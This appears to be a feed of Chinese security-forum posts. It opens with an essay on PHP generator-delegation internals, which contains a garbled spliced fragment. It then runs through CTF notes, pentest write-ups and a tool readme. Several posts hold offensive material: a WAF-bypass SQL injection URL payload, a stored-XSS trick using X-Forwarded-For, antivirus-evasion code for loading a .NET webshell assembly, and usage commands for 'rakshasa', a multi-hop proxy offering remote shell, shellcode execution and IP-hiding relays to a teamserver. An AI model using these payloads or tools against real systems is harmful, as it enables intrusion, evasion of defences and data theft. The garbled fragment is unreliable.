gen0 / gen1 / gen2其中gen1和gen2的root结点都是gen0. 在multiple cache下, 无论怎样拨动gen1还是gen2都可以使用cache机制. 而在single cache下, 当我们从拨动gen1切换到gen2或者从gen2切换到gen1时, cache就会失效, 但是连续拨动时依然可以享受到cache带来的好处.
PHP7和PHP8均使用的第二种cache方式, 我将其称之为核心设计1. 但是PHP7还往前走了一步, 这里我们注意到gen1和gen2对应同一个root结点, 那么有没有办法让它们共享这个root结点呢? 并且在root结点上不用同时引用它们两个结点. 答案是,
- 在gen1中存一个关于gen2的引用, 而不是直接存root结点.
- 在gen2中存root结点.
- 在拨动gen1时, 直接从gen2中取root结点.
可以这样做的原因是, 对于一个结点而言, 它和它的所有descendant结点都拥有着相同的root结点. 换言之, 如果它的某个descendant结点已经拥有了关于root结点的引用, 那么我们可以直接去问这个descendant结点要root结点即可. 另外对于这个descendant结点的选择, 应当最好是一个leaf结点, 因为它可以成为更多其他结点的descendant结点. 这就是PHP7中delegated generator tree的独有的核心设计2.
对于第二个问题, 简而言之就是当前root结点完成执行之后, 我们应当如何选择child结点作为新的root结点. 我们考虑两种情况下的tree
gen0 gen2 / / \ gen1 gen3 gen4 / gen5对于左边这颗树, 当gen0完成执行之后, 我们再拨动gen1, 此时gen0只有一个child结点, 所以选择只有一个. 而对于右边这棵树, 同样当gen2完成执行之后, 我们再拨动gen5, 此时gen2有两个child结点, 正确的选择应该是gen3, 那么这里应该如何准确地确定它呢 ? 同样我们可以直接从gen5开始向上遍历, 直到碰到gen2的某个child结点, 这是PHP8中的做法.
而PHP7中的做法则是对每个结点的child结点建立一张索引表, 在返回选择child结点的过程中,我们可以根据当前正在拨动的generator信息查表得到对应的child结点. 这一做法中延续了之前我们刚刚提到的核心设计1. 为理解这一建表过程, 我们从最直觉的方法出发, 再回归PHP7中的方法.
想象我们正在结点gen上存储一个child结点 c, 并且假定这个child结点有一些descendant结点, d1, d2, ..., dn等等. 那么我们在gen上存储一些ordered pairs, (c,c), (c, d1), (c, d2), ... (c, dn). 未来当gen完成执行,我们再次拨动d1, d2, ..., dn中的某个结点di时, 我们可以根据di查询gen中的ordered pairs马上知道我们选择的child结点是c. 这一ordered pair结构显然可以用哈希表来完成 (让di作为index), 这就是PHP7中独有的核心设计3. 如果我们继续深度思考的话, 这里实际可能并不需要存储这么多ordered pairs, 考虑拥有下面结构的c
c / \ d1 d4 / d2 / d3类似于前面提到的核心设计, 当c完成执行是, 这里拨动d2 选择的c的child结点, 和拨动任意一个d2的descendant结点选择的c的child结点是一样的. 因此这里我们也可以让d2保存一个d3的引用, 然后我们在c上只需要保存两个ordered pair (d1, d3), (d1, d4) , 并且在查询d2时, 我们转而使用d3来作为查询index, 这就是PHP7中独有的核心设计4. 在实际建表的过程中, 还要更复杂一些, 我们会详细提到.
最后我们小小地总结一下, generator delegated tree有两个需维护重点:
- 快速找到一个结点对应的root结点.
- 更新已经完成执行的root结点时, 需要快速地找到退回的child结点.
在这两个查找操作中都用到了相同的思想, 即一些结点是可以共用查询的结果, 通过这个fact, 我们希望减少复用结果所带来的空间复杂度, 于是乎诞生了核心设计2和核心设计4. 而核心设计1和核心设计3的思想就比较朴素, 即为了减少遍历tree带来的时间复杂度. 下面几个小节,我们将完整的介绍整个维护过程.
1.4. 维护 Delegated generator tree 之结点初始化当一个generator实例gen产生的时候, 我可以将它看做只有一个结点的tree, 相关初始化操作如下:
function init_gen_node (gen) { gen.node.parent = null; gen.node.children = 0; gen.node.single.child = null; gen.node.single.leaf = null; gen.node.ptr.root = gen }这样一个结点自然是没有parent结点和child结点. 值得注意是我们用到node.ptr, 这里我们有一个约定:
- 若给定结点gen是一个leaf结点, 则使用gen.node.ptr.root记录它所在tree的root结点.
- 反之, 则使用gen.node.ptr.leaf记录以它为root结点所在子树的某个leaf结点.
我们可以用一个简单的例子来说明:
gen0 / gen1 / \ gen2 gen3图中结点node.ptr使用情况为:
- gen2.node.ptr.root == gen0
- gen3.node.ptr.root == gen0
- gen1.node.ptr.leaf == gen2
- gen0.node.ptr.leaf == gen2
你可能会问如果有多个leaf结点, 我们应该记录哪一个呢? 例如这里就有两个leaf结点, 答案是没有区别, 记录任意一个leaf结点都行, 在后文中你将看到原因. 另外可以看到在初始化过程中, 我们使用是node.ptr.root, 这是因为此时的gen结点既是一个root结点也是一个leaf结点, 无论使用node.ptr另一种方式均可. 同时我们可以称呼这样的结点为root-leaf结点.
1.5. 维护 delegated generator tree 之新增child结点这一节我们将描述如何两个结点在yield form调用过程中, 其中一个结点是如何被连接为另一个结点的child结点. 调用yield from的generator将作为这个过程中的child结点. 给定两个generators分别记为gen 和 child, 其中child将作为child结点连接到gen上. 我们将根据gen和child本身的结构来分类讨论他们的连接过程. 注意每一个case的连接操作可能并不是完整的, 我们主要关注是在不同case, 可能需要引入的新操作是哪些. 把每个case补全会导致,case与case之前出现重复, 并且讲解臃肿.
#1 gen为一个leaf结点.
这个case下新增过程相对来说比较好理解, 图式新增过程如下:
gen gen + child --> / child那么这里的连接过程如下:3
function add_child_to_leaf_node (gen, child) { // assert(gen1.node.parent == null && gen1.node.children == 0) leaf = child.node.children ? child.node.ptr.leaf : child; leaf.node.ptr.root = gen.node.ptr.root; gen.node.ptr.leaf = leaf; gen.node.child.single.leaf = leaf; gen.node.child.single.child = child; child.node.parent = gen; } // add_root_leaf_node_to_root_leaf_node (gen1, gen2)用自然语言来描述如下:
- 第5行, 第7-8行: gen和child构成了父子, 它们应当具有相同的root结点. 根据核心设计2, 此时我们应当去选择一个gen的descendent结点, 让gen保存这个结点的引用. 这个descendent结点最好是一个leaf节点, 当child是不是一个leaf结点的时候, 这里的最好选择应当是它上面存放的某个leaf结点, 反之leaf只能是child. 第7-8行直接对应核心设计2的操作, 注意这里我们可以直接使用gen.node.ptr.root来获取root结点,是因为在假设条件中gen是一个leaf结点.
- 第10-11行: 存储child作为gen的child结点时, 根据核心设计3, 我们应当存储一个order pair, 这里只能是(child, leaf).
- 第13行: 维护正常的父子结点关系.
#2 gen有一个child结点.
图式新增过程如下:
gen gen / / \ gen --> c1 --> c1 child引入这个case, 是想指明使用node.child.single到node.child.ht转变. 只有一个order pair的时候, 我们直接使用node.child.single即可, 而需要存储多个ordered pairs就只能用哈希表了.
child_leaf = child.node.children ? child.node.ptr.leaf : child c1_leaf = gen.node.single.leaf; gen.node.ht = new_ht(); ht_add(gen.node.ht, c1_leaf, c1); // 将c1对应的pair加入ht ht_add(gen.node, child_leaf, chi就只能变成ld); // 将child对应的pair加入ht#3 gen是一个leaf结点且有parent结点.
情况开始变的复杂, 图式新增过程如下:
... ... / / p2 p2 / / p1 p1 + child / / \ --> gen gen ... \ child \ ...它对应的连接过程如下:
function add_child_to_leaf_node_has_parent(gen, child) { // assert(gen.node.childen == 0 && gen.node.parent != null) leaf = child.node.children ? child.node.ptr.leaf : child; leaf.node.ptr.root = gen.node.ptr.root; gen.node.ptr.leaf = leaf; // 依次向上遍历gen的祖先结点. next = gen.node.parent; while (next) { if (next.node.children > 1) { child2 = ht_find(next.child.ht, gen); ht_del(next.child.ht, gen); // 从ht中删除以gen为index的元素 ht_add(next.child.ht, leaf, child2); // 在ht中添加以leaf为index元素 } next.node.ptr.leaf = leaf next = next.node.parent; } }第11-20行: gen原本是一个leaf结点, 那么它有可能被其他结点引用, 可能引用的地方为它的ancestor结点的node.child.single.leaf 或者 node.child.ht或者 node.ptr.leaf处. 此时gen不再是一个leaf结点,因此我们需要对这三个地方做一个必要的更新. 对于第一个和第三个地方, 我们之间将gen更新为leaf即可, 而第二个地方, 我们需要把包含gen的ordered pair取出来, 把gen换成leaf.
显然这里的代码忽略了更新node.child.single.leaf这个地方, 即ancestor结点只有一个child结点的时候, 会使得这个ancestor结点保存错误的ordered pair, 最后在它完成执行之后,我们可能无法正确地找到退回child结点. 我们在最初给出的crash例子对应了下面的构造过程:
p1 p1 p1 / ---> / ---> / \ gen gen gen new1 \ \ child child注意中间这个图, 对应了这里case所代表的连接过程, 连接child之后, p1.child.single.leaf依然保存了gen, 而不是真正所需要的child. 那么在下一步构造中, 我们把new也连接到p1下, 使得p1会使用node.ptr.ht来保存两个child结点对应的两个ordered pair, 显然(gen, gen)是其中一个pair. 最后我们尝试拨动child->next()使得p1完成执行, 这个时候p1被关闭, 需要使用child来查询 p1.child.ht来更新root结点, 结果就是查询失败最终导致crash. 因此这里需要打个patch:
if (next.node.children > 1) { child2 = ht_find(next.child.ht, gen); ht_del(next.child.ht, gen); ht_add(next.child.ht, leaf, child); + } else { + next.node.child.single.leaf = leaf; + }那为什么PHP7.0, 7.1, 7.2没崩呢? 因为有一行垃圾代码使得gen在完成与child连接之后拥有了两个child结点, 即重复存储了child, 原本只有一个child结点, 使得在最后连接new1的时候根本不会用到未更新的p1.child.single.leaf, 参考下面的case#4.
#4 gen有一个child结点, 且存在一个有多个孩子的descendent结点.
图示新增过程如下:
gen gen / / \ c1 + child --> c1 child / \ / \ c2 c3 c2 c3对应的部分连接过程如下:
function search_multi_children_node(gen) { while (gen.node.children == 1) { gen = gen.node.child.single.child; } return gen.node.children > 1 ? gen : null; } function merge_child_nodes_to_ht (gen, mutil_children_node, gen_single_child_node) { foreach (mutil_children_node.node.child.ht as leaf => child) { ht_add(gen.node.child.ht, leaf, gen_single_child_node); } } function add_child_to_node_has_one_child (gen, child) { // assert (gen.node.children == 1) multi_children_node = search_multi_children_node(gen); if (multi_children_node != null) { merge_child_nodes_to_ht(gen, multi_children_node, gen.node.single.child); } }这里的操作是围绕核心设计3在进行. 注意观察最左边gen本身的结构, 它只有一个child结点, 那么当我们拨动c2或者c3使得gen完成执行后, 新root结点只能是它唯一的child结点. 但是当child也连接为成为gen的一个child之后, 我们就需要在gen完成执行时, 做出选择了. 那么gen中至少需要存储3个ordered pair, 即 (c1, c2), (c1, c3), (child, child). 所以这里有一个细微的merge操作, 将gen所有的后继leaf结点和gen的本身那个child结点构成的ordered pairs都放到gen.node.child.ht中.
那么我们要怎样完成这个工作呢? 我们不需要遍历gen所在tree的所有leaf结点, 我们只需要找到gen下第一个拥有多个孩子的descendent结点, 然后遍历它的ordered pairs中的leaf结点即可. 因为我们一直在维护上述操作, 可以保证从该结点中拿到所有的leaf结点.
#4 child不存在多个孩子的descendent结点
图示连接过程
... ... \ \ p1 + child --> p1 / \ \ / \ ... gen c1 ... gen / / \ ... ... child \ c1上述连接过程完成之后, gen会多出一个leaf结点 c1, 如果gen拥有多个child结点, 考虑核心设计3, 那么我们需要把(child, c1)放到gen中. 同理我们需要向上考虑gen所有拥有多个孩子的ancestor结点. 其过程为如下
function add_child_to_node_has_one_child (gen, child) { if (gen.node.children != 0) { multi_children_node = search_multi_children_node(child); if (multi_children_node == null) { // `child`不存在多个孩子的descendent结点 leaf = child.node.ptr.leaf; ht_add(gen, leaf, child); parent = generator->node.parent; cur = generator; while (parent) { if (parent.node.children > 1) { ht_add(parent, leaf, cur); } cur = parent; parent = parent->node.parent; } } } }#5 child存在一个有多个孩子的descendent结点.
图示连接过程
... ... \ \ p1 p1 / \ / \ ... gen + child --> ... gen / / \ / \ ... c1 c2 ... child / \ c1 c2这里面临和#3中一样的问题, 当gen不是leaf结点时, 我们需要把ordered pair (child, c1)和(child, c2)也放到gen上. 同时, 也需要考虑gen的所有拥有多个孩子的ancestor结点, 将child中的所有leaf结点对应的ordered pairs加到其上. 其过程如下
function merge_leaf_node_to_node (gen, child) { if (gen.node.children != 0) { multi_children_node = search_multi_children_node(child); if (multi_children_node) { merge_child_nodes_to_ht(gen, multi_children_node, child); parent = generator->node.parent; cur = generator; while (parent) { if (parent.node.children > 1) { merge_child_nodes_to_ht(parent, multi_children_node, cur); } cur = parent; parent = parent->node.parent; } } } } 1.6. 维护 Delegated generator tree 之快速查找root结点结合核心设计1-2, 我们可以很快的写出root结点的查找过程,
function get_current_geneartor(gen) { if (gen.node.parent == null) { return gen; } leaf = gen.node.children ? gen.node.ptr.leaf : gen; // 确定gen的leaf结点 root = leaf.node.ptr.root; return root; }对应任意的结点, 我们首先找到它上存着的某个leaf结点的引用, 再从这个leaf结点上获取真正的root结点. 但是上面这个版本的查找过程并不正确. 在下面一节中将给出完全正确的版本.
1.7. 维护 Delegated generator tree 之更新结点这里维护操作关注, 当root结点完成执行之后, 如何退回正确的child结点继续执行, 对应核心设计3-4. 首先我们将上面的get_current_generator()修改正确, 考虑下面的例子
gen0 / \ gen1 gen2当我们拨动gen1, 使得gen0完成执行后, gen2依然在使用gen0, i.e., 获取gen0的返回值. 这里告诉我们当root结点有多个孩子的时候, 我们不能直接将它从tree上移除. 但是为了避免, 我们下次拨动gen1或者gen1获取错误的root结点. 我们需要将gen_current_generator修改一下
function get_current_generator(gen) { if (gen.node.parent == null) { return gen; } leaf = gen.node.children ? gen.node.ptr.leaf : gen; root = leaf.node.ptr.root; if (root is not finished && root.node.parent == null) { return root; } return update_tree(gen, leaf); }可以看到, 我们在返回root结点之前, 多了一个check, 确保其并没有完成执行, 同时依然是一个root结点 (可能leaf.node.ptr.leaf还没有被更新). 如果这个check失败了, 我们就需要更新gen对应的root结点, 这就是update_tree()中在做的操作, 其过程如下:
function get_child(gen, leaf) { // assert (gen.node.children >= 1) if (gen.node.children == 1) { return gen.node.child.single.child; } else { return ht_find(gen.node.child.ht, leaf); } } function update_tree(gen, leaf) { root = leaf.node.ptr.root root = get_child(root, leaf); while (root is finished && root != gen) { root = get_child(root, leaf); } if (root.parent != null && parent is not finished) { do { root = root.node.parent } while (root.node.parent) } leaf.node.ptr.root = root; return root; }第11-12行对应了核心设计3-4, 根据leaf 结点找到应该退回的child结点. 这里我们并不能直接把找到child结点视为新的root结点, 有可能它也已经完成执行了, 那么我们则需要继续寻找它的child结点, 对应这里第一个循环过程.
第18-22行这里在干什么 ? 注意在1.5节新增child结点中, 只有一个地方会更新leaf结点中关于root结点的引用, 即case#1中, 而其余任何地方都是不会更新node.ptr.root的. 这是因为在其他情况下, 我们就需要使用类似于get_current_generator()中的操作, 定位leaf结点, 再check对应的root结点. 因此我们将在新增孩子结点过程中的更新root结点操作延迟到了update_tree()当中, 当没有更新node.ptr.root就有可能出现找到的root结点其实并不是真正的root结点, 这一点我们可以通过它是否存在parent结点来确定.
最后在24行处完成leaf结点上关于新root结点的引用更新.
2. 最后拥抱PHP系列又开始更新了, 这个系列的初衷是希望大家多多关注PHP里面的东西, 距离上一次更新,已经大概已经3年过去了. 接下来也许还会继续更新, 但是不知道在多久之后... 文章错误我会不定时勘误. 谢谢最后读到这里的陌生人, 下次再见.
1 个帖子 - 1 位参与者
pwn入门感受
他是想让你来计算给出的100道题计算结果是否正确,文件没有源代码,所以初步判定这道题属于Blind Pwn类型,具体可以看这个链接CTF Blind pwn题型学习笔记,以了解Blind Pwn的相关知识。
开始有个很矛盾的地方,就是不知道盲打有很多相应的攻击方式,不知道用哪一种,就在网上搜索都试一试,但是没有一个行得通,就想到之前打ciscn时有一道类似的web题,就是写脚本暴力破解得到flag。
接下来就开始尝试写代码,首先要用到pwntools,这是python的第三方库(支持python2与python3),在网上可以找相应的下载方式,可以在ubuntu和Windows上使用(Windows上下载使用有点玄学,得看运气)。首先建立连接这里是远程连接就用
from pwn import *
sh = remote("IP addr",port) //本地程勋就用sh = process("./程序名")
pwntools库中有readline,sendline函数(有很多读写函数,可以在官方文档上看)
分析给出的信息段,从 Welcome...... 到 Now.. start 一共有7行,就用了7个readline函数,之后是有规律的出现三行,前两行给出两个加数,第三行给出计算的结果,一共有100道题。使用循环语句:
for i in range(100):
sh.readline()
sh.readline()
//这两个函数就只是把信息接受到,不做任何处理,因为没啥用。接下来的是关键
s=sh.readline() //把第三行的计算公式给读下来,读出来的是字符串
接下来用到split函数,先把“+”两边的分开,numbers[0]="762",numbers[1]="135=897",将numbers[0]转换为int类型
numbers = s.split(b"+")
num0=int(numbers[0])
再将numbers[1]用split函数把“=”两边的分开,得到s[0]="135",s[1]="897",在强制转换为int类型
s = numbers[1].split(b"=")
num1=int(s[0])
num2=int(s[1])
最后就是计算num0与num1的和与num2是否相等,根据相应要求发送对应字符串。
if(num0+num1==num2):
sh.sendline(b'BlackBird')
print("BlackBird")
else:
sh.sendline(b'WingS')
print("WingS")
以上用到print函数只是为了更加清晰的看到这个过程。
最后根据结果一步一步增加代码,最终exp如下:
得到flag
1 个帖子 - 1 位参与者
初学CTF
开始小白学习流量分析题, 当然是从最基础的开始啦,使用到的工具是wireshark哪有什么做流量题不用wireshark的啊
打开流量包,最先开始的思路就是搜一下flag这个字符串是否存在于流量包中
于是第一题就这么顺利的解决掉了
像这里的话可观察到flag是存于txt中的,因为是textdata数据
右击-->显示分组字节流
右击协议-->追踪流-->TCP流
即可查看text数据:
2 个帖子 - 2 位参与者
渗透测试之http数据包加解密
对某孕小程序渗透测试的时候遇到http数据包加密的情况
于是在前端js代码查找加解密的代码,可以搜索关键字encrypt,decrypt
在加解密的代码处打断点
在浏览器控制台调用加解密函数
加密内容
解密
登录系统是普通用户的界面
对登录的响应包修改参数,再加密
放包成功垂直越权
查看孕妇信息
通过解密得到的信息
1 个帖子 - 1 位参与者
过云锁注入方法
环境:windserver2008 + mysql+php
SQL语句拦截图:
http://www.test123.com/article.php?id=1%20union%20select%201,2,3
SQL绕过语句图:
http://www.test123.com/article.php?id=-1/*!36000union*//*!36000distinct*//*!36000select*/1,2,user()
1 个帖子 - 1 位参与者
一次非常规功能点的存储XSS
一般XSS点是在留言、新增项等等地方,一般也都需要登录
本文记录的试一次渗透中碰到的非常规的XSS功能点,无需登录
所以也可以说是未授权XSS,并且直取admin
漏洞功能点位于【系统日志】处
此处记录并审计登录行为
发现用户在登录时,用户名、IP等信息会被记录在此处,用户名可以根据POST请求包中的【username】字段进行改动,但是在测试过程中发现系统对该字段有进行特殊字符的限制,所以无法实现XSS
但是后面发现对IP字段的输入却没有进行限制,在POST请求头中加入【x-forwarded-for】就可以任意自定义修改此处对应的【操作IP】
插入成功,管理员来到审核页面的时候就会触发XSS
这个系统对所有插入的数据几乎都做了编码、限制、替换,找了好久才找到这个位置
所以测试或者说漏洞修复过程中,除了注意用户GET、POST的数据外,还需注意请求Header头里面的参数
1 个帖子 - 1 位参与者
一次edu存储型XSS挖掘过程
分享一篇不错的.NET Webshell免杀文章
原文出自这里
笔者加载位于当前执行程序所在目录下的 "net-calc.dll" 文件的字节码内容,内容很简单启动一个新进程弹出计算器,并将其存储在 assemblyBytes变量,代码如下
byte[] assemblyBytes = File.ReadAllBytes(Path.Combine(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location), "net-calc.dll"));
List<byte[]> data = new List<byte[]>();
data.Add(this.assemblyBytes);
var e1 = data.Select(Assembly.Load);
Func<Assembly, IEnumerable> map_type = (Func<Assembly, IEnumerable>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable>), typeof(Assembly).GetMethod("GetTypes"));
var e2 = e1.SelectMany(map_type);
var e3 = e2.Select(Activator.CreateInstance).ToList();
然后使用LINQ-SelectMany操作符合并两个序列后产生一个新的序列结果,通过LINQ这个能力可以联合Aseembly.Load和Aseembly::GetTypes,再借用LINQ-Select操作符投影Activator.CreateInstance反射创建一个Aseembly对象,这样就可以实现命令执行
![|553x287](file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml17460\wps2.jpg)
实际场景下这种加载外部文件的方式不太友好,我们知道Assembly.Load有多个重载方法,其中有一个重载支持byte[]类型的参数,如此我们可以通过System.IO.File.ReadAllBytes方法读取文件字节码
byte[] assemblyBytes = {0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8 .......... }
运行时如下图
![|553x412](file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml17460\wps3.jpg)
不能上传附件,工具无法传上来
1 个帖子 - 1 位参与者
网络安全的意义
在当前的数字化社会,网络安全已成为无法忽视的重要议题。据统计,全球每年有超过60%的企业遭受网络安全攻击(来源:Cybersecurity Ventures)。这篇文章将深入探讨网络安全的重要性,威胁类型,防护措施,以及我们如何共同建立安全的网络环境。
网络安全的核心目标是保护数据不被未经授权的人访问,防止恶意软件的侵入,以及确保网络交易的安全。然而,根据Symantec的报告,每天都有超过一百万种新的恶意软件被创建,这使得网络安全的挑战日益加重。
网络安全威胁的类型繁多,包括病毒、恶意软件、钓鱼攻击、身份盗窃和勒索软件等。例如,2017年的WannaCry勒索软件攻击,影响了150个国家的超过20万台计算机,包括英国的国家医疗服务体系(NHS),造成了巨大的经济损失和社会影响。
对抗这些威胁需要采取多层次的防护措施。根据Kaspersky Lab的研究,安装和更新防病毒软件是防止恶意软件的第一道防线。同时,数据备份也至关重要,因为每年有32%的计算机用户会经历数据丢失的情况(来源:World Backup Day)。
然而,技术措施并不能解决所有的网络安全问题。根据Verizon的数据泄露调查报告,超过90%的网络钓鱼攻击都是通过电子邮件进行的,这就需要用户有足够的网络安全意识,能够识别和避免这些攻击。
对企业而言,网络安全的挑战更大。根据Ponemon Institute的报告,全球平均每起数据泄露的成本已经达到了3.86百万美元。企业需要建立全面的网络安全策略,包括防火墙,入侵检测系统,数据加密,以及员工培训等。
网络安全不仅仅是技术问题,也是社会问题。我们需要建立一种尊重个人隐私,反对网络犯罪的文化,推动网络安全的立法和执行。例如,欧盟的《通用数据保护条例》(GDPR)就是一个很好的例子,它强制要求企业保护用户的个人数据,违规将面临重罚。
总的来说,网络安全是我们所有人的责任。只有每个人都采取适当的防护措施,我们才能建立一个安全的网络环境,保护我们的数据和设备,维护我们的隐私和财产安全。
5 个帖子 - 5 位参与者
【赠书活动 】 新手进阶圣经!《Web安全攻防:渗透测试实战指南》(第2版)问世!
本书是畅销书《Web 安全攻防:渗透测试实战指南》 的第2版,距离第1版出版已经过去5年。5年来,这本书帮助很多读者进入了网络安全这个神秘的领域。正如读者知道的,网络安全技术更新速度很快,第1版中的很多知识点和技术已经迭代更新。为此,MS08067安全实验室对内容进行了全面升级,结合读者反馈和近年新出现的攻击技术,补充了很多新知识点和实际案例,增补内容超过50% 。
本书内容全面而系统,适合网络安全新手。从基础到进阶,从新人学习特点的角度出发进行相关知识的讲解,全书涵盖了目前所有流行的高危漏洞的原理、攻击手段和防御手段。不同于传统的理论堆砌,本书以实战为核心,以讲解实际步骤和思路为主线,力求让读者迅速理解和掌握渗透测试的各种方法和思路,读者按照书中所述步骤进行操作,即可还原实际渗透攻击场景。 本书配套源码环境完全免费。
无论您是网络安全新手还是行业从业者,本书都将成为您在网络安全进阶之路上的强大助力。预祝您阅读愉快,实战成功!
请注意,5折购买链接:京东网上商城
在评论区晒出你珍藏的所有安全类图书及书评(图片+描述)。小编将从中抽取3位“优质书评家”,免费赠送作者亲笔签名 的图书一本。
9 个帖子 - 4 位参与者
想看看大佬写的工具
rakshasa多级代理内网穿透工具
rakshasa是一个使用Go语言编写的强大多级代理工具,专为实现多级代理,内网穿透而设计。它可以在节点群里面任意两个节点之间转发TCP请求和响应,同时支持socks5代理,http代理,并且可以引入外部http、socks5代理池,自动切换请求IP。
节点之间使用内置证书的TLS加密TCP通讯,再叠加一层自定义秘钥的AES加密,可以在所有Go支持的平台使用。可以在你所有的的Windows和Linux服务器上搭建节点并组成节点群网络。
节点分为普通节点(node)与控制节点(fullnode)
- 普通节点,无法控制其他节点进行代理、shell等操作
- 控制节点,全功能节点
- 见文章下面留言补充(1)
-
更多介绍:见文章下面留言补充(2)
-
win10+Proxifier实现内网穿透:见文章下面留言补充(3)
-
v0.1.0 2023-03-28
- 首次发布
-
v0.2.0 2023-04-02
- 更改为fullnode版本,fullnode为全功能版本可以控制别人也能被控
- 增加node版本,去掉私钥,无法发起代理等关键操作,适合被控
- 增加lite版本,在上面版本的基础上,精简cli交互与http代理池,体积缩小2mb
- 优化节点连接逻辑,并且遍历网卡ip进行net.Dail,解决多网卡下,无法连接的问题
生成新的证书,编译所有版本节点
go run build.go -all编译所有版本节点(不更新证书)
go run build.go -all -nocert生成覆盖证书
go run build.go -gencert生成控制节点与普通节点
go run build.go -fullnode只生成普通节点
go run build.go -node证书保存在cert目录下,可以使用第三方工具生成,请使用RSA PKCS1-V1.5
private.go --编译普通节点的时候要删除此文件 private.pem --与public.pem对应的公钥私钥,普通节点不包含私钥 public.pem server.crt --tls通讯证书 server.key --tls通讯私钥 版本区别 fullnode node fullnode_lite node_lite 连接其他节点 √ √ √ √ 启动本地socks5代理 √ √ √ √ 启动本地http代理 √ √ √ √ 启动多层代理 √ × √ × 远程shell √ × √ × 其他远程功能 √ × √ × 交互式CLI √ √ × × check_proxy √ √ × ×简单来讲
- fullnode 完全版,能控制别人,也能被控
- node 能连接其他节点,但是不能对其他节点操控,适合作为被控端
- lite版本,精简掉cli和net/http,与一些debug的代码
不带任何参数即可启动:
d:\>rakshasa.exe start on port: 8883 rakshasa> rakshasa>help Commands: bind 进入bind功能 clear clear the screen config 配置管理 connect 进入connect功能 exit exit the program help display help httpproxy 进入httpProxy功能 new 与一个或者多个节点连接,使用方法 new ip:端口 多个地址以,间隔 如1080 127.0.0.1:1081,127.0.0.1:1082 ping ping 节点 print 列出所有节点 remoteshell 远程shell remotesocks5 进入remotesocks5功能 shellcode 执行shellcode socks5 进入socks5功能 rakshasa>请查阅CLI使用说明了解详细信息(见文章下面留言补充(4) )
其他启动参数说明 -nocli在无法后台执行的情况下,启动一个不带 CLI 的节点:
nohup /root/rakshasa -nocli > /root/rakshasa.log 2>&1 & #Linux下配合nohup后台执行 -p 端口以指定端口启动:
rakshasa -p 8883 -d ip:port,ip:port...连接下一层代理或更多层代理,多个地址以逗号隔开,生效在最后一个 ip:port:
rakshasa -d 192.168.1.1:8883,192.168.1.2:8883,192.168.1.3:8883 -socks5 1080 #从本地1080端口启动一个socks5代理,流量通过三层转发ip最后在192.168.1.3请求目标数据 -socks5 用户名:密码@ip:端口本地开启SOCKS5代理穿透到远程节点,可以不带-d:
rakshasa -socks5 1080 #不使用-d参数,则表示直接在本机启动一个socks5代理 -remotesocks5 端口远程开启SOCKS5代理流量出口到本地:
rakshasa -remotesocks5 1081 -d 192.168.1.2:1080,192.168.1.3:1080 #方向从右往左(加上本机是3个节点),在192.168.1.3这台机器开启一个socks5端口1081,流量穿透到本地节点出去 -connect ip:port,remote_ip:remote_port本地监听并转发到指定 IP 端口,使用场景为本机连接 teamserver,隐藏本机 IP:
rakshasa -connect 127.0.0.1:50050,192,168,1,2:50050 -d 192.168.1.3:1080,192.168.1.4:1080 #本机cs连接127.0.0.1:50050实际上通过1.3,1.4节点后,再连接到192.168.1.2:50050 teamserver,teamserver看到你的ip是最后一个节点的ip -bind ip:port,remote_ip:remote_port反向代理模式,必须配合-d使用:
rakshasa -bind 192.168.1.2:50050,0,0,0.0:50050 -d 192.168.1.3:1080,192.168.1.4:1080 #与上面相反,在最右端节点监听端口50050,流量到本机节点后,最终发往192.168.1.2,最终上线ip为本机ip -http_proxy 用户名:密码@ip:端口启动一个http代理,可以不使用-d,建议配合-http_proxy_pool使用代理池,自动切换代理ip:
rakshasa -http_proxy 8080 -http_proxy_pool out.txt -password 密钥各节点除了证书校验之外,还额外支持密钥连接,建议使用并定期更换密钥,以避免二进制泄露后被别人连上
rakshasa -password 123456 -f yaml文件 [详细说明]指定配置文件启动。
-help更多启动参数使用帮助
关于开源本作品使用MPL 2.0许可证,您可以下载、修改和使用本代码。然而,您必须明确表示,任何此类担保、支持、赔偿或责任义务均由您单独提供,与本作者无关。本人不承担您在使用或修改本程序所造成的任何后果或责任。
在遵循MPL 2.0许可证的基础上,您可以自由地对rakshasa进行修改和扩展,以满足您的特定需求。同时,您可以将改进和新功能贡献给社区,让更多人受益。但请注意,确保在分享和发布修改后的代码时遵守许可证要求,并尊重原作者的版权。
联系方式QQ: 2252233695
WeChat/微信: Mob20045
3 个帖子 - 2 位参与者